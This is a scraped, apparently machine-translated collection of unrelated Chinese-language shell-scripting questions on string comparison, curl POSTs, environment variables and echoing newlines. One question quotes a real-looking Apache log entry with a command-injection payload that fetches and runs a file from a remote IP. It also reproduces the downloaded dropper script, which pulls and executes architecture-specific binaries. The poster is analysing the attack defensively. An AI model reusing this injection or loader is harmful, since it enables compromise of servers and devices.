在编写 shell 脚本的过程中,我遇到了以下 if/else 语句的问题,该语句位于脚本中间的某个位置:
if [ $act -eq "add" ]
then
read - "add or update: " $comm
git commit -m "$comm $file"
else
git commit -m "$act $file"
fi
Run Code Online (Sandbox Code Playgroud)
返回的错误是:
./gitup: line 13: [: add: integer expression expected
Run Code Online (Sandbox Code Playgroud)
然后继续执行脚本的其余部分。如何让 if 段评估/比较变量与字符串输入而不是整数;在我尝试的其他一些事情中使用“!=”时需要一个不同的错误。
我使用了以下之一
echo $(stuff)
echo `stuff`
Run Code Online (Sandbox Code Playgroud)
(stuff例如pwd或date或更复杂的东西在哪里)。
然后我被告知这种语法是错误的,一种不好的做法,不优雅,过度,多余,过于复杂,货物崇拜编程,noobish,天真等等。
但是该命令确实有效,那么它到底有什么问题呢?
我正在写一个shell脚本,我需要知道架构,即PPC或Intel。过去,有一个程序 /bin/arch 告诉过你,但我的 Mac 似乎没有它。
有没有一种简单的方法可以做到这一点?在日志文件中查找某些内容?调用其他一些将其作为副作用吐出的程序?
很高兴知道我正在运行的操作系统版本,但这可能没有必要。
假设我有一个这样的文本文件:
# custom content section
a
b
### BEGIN GENERATED CONTENT
c
d
### END GENERATED CONTENT
Run Code Online (Sandbox Code Playgroud)
我想GENERATED CONTENT用另一个文件的内容替换标签之间的部分。
什么是最简单的方法来做到这一点?
我想要做一个位于 的本地文件HTTP POST的内容(作为一个字符串)path/to/my-file.txt到http://example.com/.
例如,我可能想要执行以下操作:
my-file.txt为字符串。foo。然后做这样的事情:
curl -d "data=foo" http://example.com/
Run Code Online (Sandbox Code Playgroud)
(我实际上并不需要这个foo变量。这只是描述我的问题的一种方便的方式。)
执行此操作需要哪些命令?我需要写一个shell脚本吗?如果是这样,它看起来如何?
我一直在我的服务器上注意到 apache 日志,最近出现了以下奇怪的行:
156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0"
所以我做了一个自定义的 Fail2Ban 过滤器并开始禁止请求这些 /login.cgi URL 的 IP。
但我很好奇他们想要做什么,所以我拉了他们试图执行的脚本,我似乎无法弄清楚它到底做了什么。关于删除 /var 和 /tmp 中的 arch 文件夹?
无论如何,这里是:
#!/bin/sh
u="asgknskjdgn"
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
http_server="80.211.173.159"
http_port=80
cd /tmp/||cd /var/
for name in $bin_names
do
rm -rf $u
cp $SHELL $u
chmod 777 $u
>$u
wget http://$http_server:$http_port/$name -O -> $u
./$u $name
done
Run Code Online (Sandbox Code Playgroud) 在 Linux shell 中设置变量时set,env、declare和之间有什么区别export,例如bash?
我正在尝试设置一些打开特定 iTerm 会话的键盘快捷键,我可以使用 BetterTouchTool 和一些 AppleScript 魔法来实现。问题在于 OS X 坚持为您通过 GUI 执行的任何 shell 脚本(即来自 Finder,或作为来自 BetterTouchTool 的键盘快捷键)打开一个终端窗口。如果我直接从另一个终端运行脚本,则不会出现终端窗口。
我发现的一种解决方法是将脚本包装在 .app 目录中,这解决了多余终端窗口的问题,但还有一些其他问题(例如,OS X 似乎将每个生成的 iTerm 窗口视为一个单独的应用程序,使我的 Dock 变得混乱)。(编辑:这种行为实际上是由我的脚本中的错误引起的,见下文)
我还尝试将终端应用程序分配给 Spaces 设置中的另一个虚拟桌面,试图将其移出视线,但它只会在运行脚本之前先切换到该桌面。
有没有办法完全禁用这种行为?我已经在终端首选项中找到了在脚本完成后关闭窗口的设置,但是让终端窗口弹出一秒钟仍然很烦人。
我正在尝试向依赖于另一个变量的命令调用添加参数。请看shell脚本代码:
curl \
$([ -z "${title}" ] || echo --data-urlencode title=${title}) \
http://example.com
Run Code Online (Sandbox Code Playgroud)
在这个例子中,如果title给定的不是 null,一个参数将被添加到curl.
如果title包含空格,这将无法正常工作。我也不$(...)能用引号括起来,因为如果title为空,它会产生一个意想不到的空参数curl。
我应该怎么做才能让它按预期工作。
我想在 shell 脚本中的变量之间将新行回显到文件中。这是我的代码:
var1="你好" var2="世界!" logwrite="$var1 [这里是我想插入新行的地方] $var2 echo "$logwrite" >> /Users/username/Desktop/user.txt
现在,当我运行我的脚本时,文件 user.txt 显示:
你好,世界!
我希望它显示:
你好 世界!
我该怎么做呢??
编辑:这是我的 shell 脚本:
echo -n “你叫什么名字?” 先读 echo -n "你姓什么?" 最后阅读 echo -n “你的中间名是什么?” 读中间 echo -n “你的生日是几号?” 读生日 echo -e "名字: $first /nLast Name: $last /nMiddle Name: $middle /nBirthday: $birthday" >> /Users/matthewdavies/Desktop/user.txt qlmanage -p "~/Desktop/user.txt"